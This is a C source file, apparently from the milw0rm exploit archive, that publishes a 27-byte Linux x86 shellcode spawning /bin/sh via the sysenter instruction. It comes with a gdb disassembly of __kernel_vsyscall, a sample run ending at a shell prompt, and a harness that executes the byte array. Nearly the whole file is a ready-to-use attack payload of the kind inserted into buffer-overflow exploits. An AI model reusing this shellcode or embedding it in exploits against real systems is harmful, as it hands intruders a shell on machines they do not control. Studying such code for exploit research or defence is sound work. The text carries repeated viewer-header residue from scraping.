131 lines
No EOL
3.7 KiB
C
131 lines
No EOL
3.7 KiB
C
/*
|
|
lnx_binsh3.c - v1 - 27 Byte /bin/sh sysenter Opcode Array Payload
|
|
Copyright(c) 2005 c0ntex <c0ntex@open-security.org>
|
|
Copyright(c) 2005 amnesia <amnesia@anomalistic.org>
|
|
|
|
This program is free software; you can redistribute it and/or modify
|
|
it under the terms of the GNU General Public License as published by
|
|
the Free Software Foundation; either version 2 of the License, or
|
|
(at your option) any later version.
|
|
|
|
This program is distributed in the hope that it will be useful,
|
|
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
|
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
|
GNU General Public License for more details.
|
|
|
|
You should have received a copy of the GNU General Public License
|
|
along with this program; if not, write to the Free Software
|
|
Foundation, Inc., 59 Temple Place, Suite 330, Boston,
|
|
MA 02111-1307 USA
|
|
|
|
*/
|
|
|
|
/*
|
|
|
|
Tested: fedora core 3 - c0ntex
|
|
debian SID - amnesia
|
|
|
|
execve("/bin/sh") using sysenter from __kernel_vsyscall appose to int $0x80
|
|
|
|
(gdb) disas __kernel_vsyscall
|
|
Dump of assembler code for function __kernel_vsyscall:
|
|
0xffffe400 <__kernel_vsyscall+0>: push %ecx
|
|
0xffffe401 <__kernel_vsyscall+1>: push %edx
|
|
0xffffe402 <__kernel_vsyscall+2>: push %ebp
|
|
0xffffe403 <__kernel_vsyscall+3>: mov %esp,%ebp
|
|
0xffffe405 <__kernel_vsyscall+5>: sysenter
|
|
0xffffe407 <__kernel_vsyscall+7>: nop
|
|
0xffffe408 <__kernel_vsyscall+8>: nop
|
|
0xffffe409 <__kernel_vsyscall+9>: nop
|
|
0xffffe40a <__kernel_vsyscall+10>: nop
|
|
0xffffe40b <__kernel_vsyscall+11>: nop
|
|
0xffffe40c <__kernel_vsyscall+12>: nop
|
|
0xffffe40d <__kernel_vsyscall+13>: nop
|
|
0xffffe40e <__kernel_vsyscall+14>: jmp 0xffffe403 <__kernel_vsyscall+3>
|
|
0xffffe410 <__kernel_vsyscall+16>: pop %ebp
|
|
0xffffe411 <__kernel_vsyscall+17>: pop %edx
|
|
0xffffe412 <__kernel_vsyscall+18>: pop %ecx
|
|
0xffffe413 <__kernel_vsyscall+19>: ret
|
|
0xffffe414 <__kernel_vsyscall+20>: add %al,(%eax)
|
|
0xffffe416 <__kernel_vsyscall+22>: add %al,(%eax)
|
|
0xffffe418 <__kernel_vsyscall+24>: add %al,(%eax)
|
|
0xffffe41a <__kernel_vsyscall+26>: add %al,(%eax)
|
|
0xffffe41c <__kernel_vsyscall+28>: add %al,(%eax)
|
|
0xffffe41e <__kernel_vsyscall+30>: add %al,(%eax)
|
|
End of assembler dump.
|
|
(gdb) q
|
|
|
|
so we replace
|
|
|
|
int $0x80
|
|
|
|
instruction with
|
|
|
|
push %ecx
|
|
push %edx
|
|
push %ebp
|
|
mov %esp,%ebp
|
|
sysenter
|
|
|
|
which does make the shellcode slightly larger :/
|
|
|
|
|
|
804807a: 51 push %ecx
|
|
804807b: 52 push %edx
|
|
804807c: 55 push %ebp
|
|
804807d: 89 e5 mov %esp,%ebp
|
|
804807f: 0f 34 sysenter
|
|
|
|
$ ./lnx_binsh3
|
|
|
|
[-] Stack Pointer found -> [0xbffff648]
|
|
[-] Size of payload egg -> [27]
|
|
[-] Payload Begin -> [0x804968c]
|
|
[-] Payload End -> [0x80496b9]
|
|
|
|
sh-2.05b$
|
|
|
|
*/
|
|
|
|
/*
|
|
Calling: execve(/bin/sh), exit(0)
|
|
*/
|
|
|
|
|
|
#include <stdio.h>
|
|
|
|
typedef char wikkid;
|
|
|
|
/* reduced shellcode size from 45 to 27 - amnesia */
|
|
wikkid oPc0d3z[] = "\x31\xc0\x31\xdb\x50\x68\x2f\x2f"
|
|
"\x73\x68\x68\x2f\x62\x69\x6e\x89"
|
|
"\xe3\x50\x53\x89\xe1\x31\xd2\xb0"
|
|
"\x0b\x0f\x34";
|
|
|
|
unsigned long grab_esp()
|
|
{
|
|
__asm__("movl %esp,%eax");
|
|
}
|
|
|
|
int main(void)
|
|
{
|
|
unsigned long delta;
|
|
void (*pointer)();
|
|
|
|
delta = grab_esp();
|
|
|
|
fprintf(stderr, "\n[-] Stack Pointer found -> [0x%x]\n", delta);
|
|
fprintf(stderr, "\t[-] Size of payload egg -> [%d]\n", sizeof(oPc0d3z)-1);
|
|
|
|
pointer=(void*)&oPc0d3z;
|
|
|
|
while(pointer) {
|
|
fprintf(stderr, "\t[-] Payload Begin -> [0x%x]\n", pointer);
|
|
fprintf(stderr, "\t[-] Payload End -> [0x%x]\n\n", pointer+27);
|
|
pointer();
|
|
}
|
|
|
|
_exit(0);
|
|
}
|
|
|
|
// milw0rm.com [2005-08-25]
|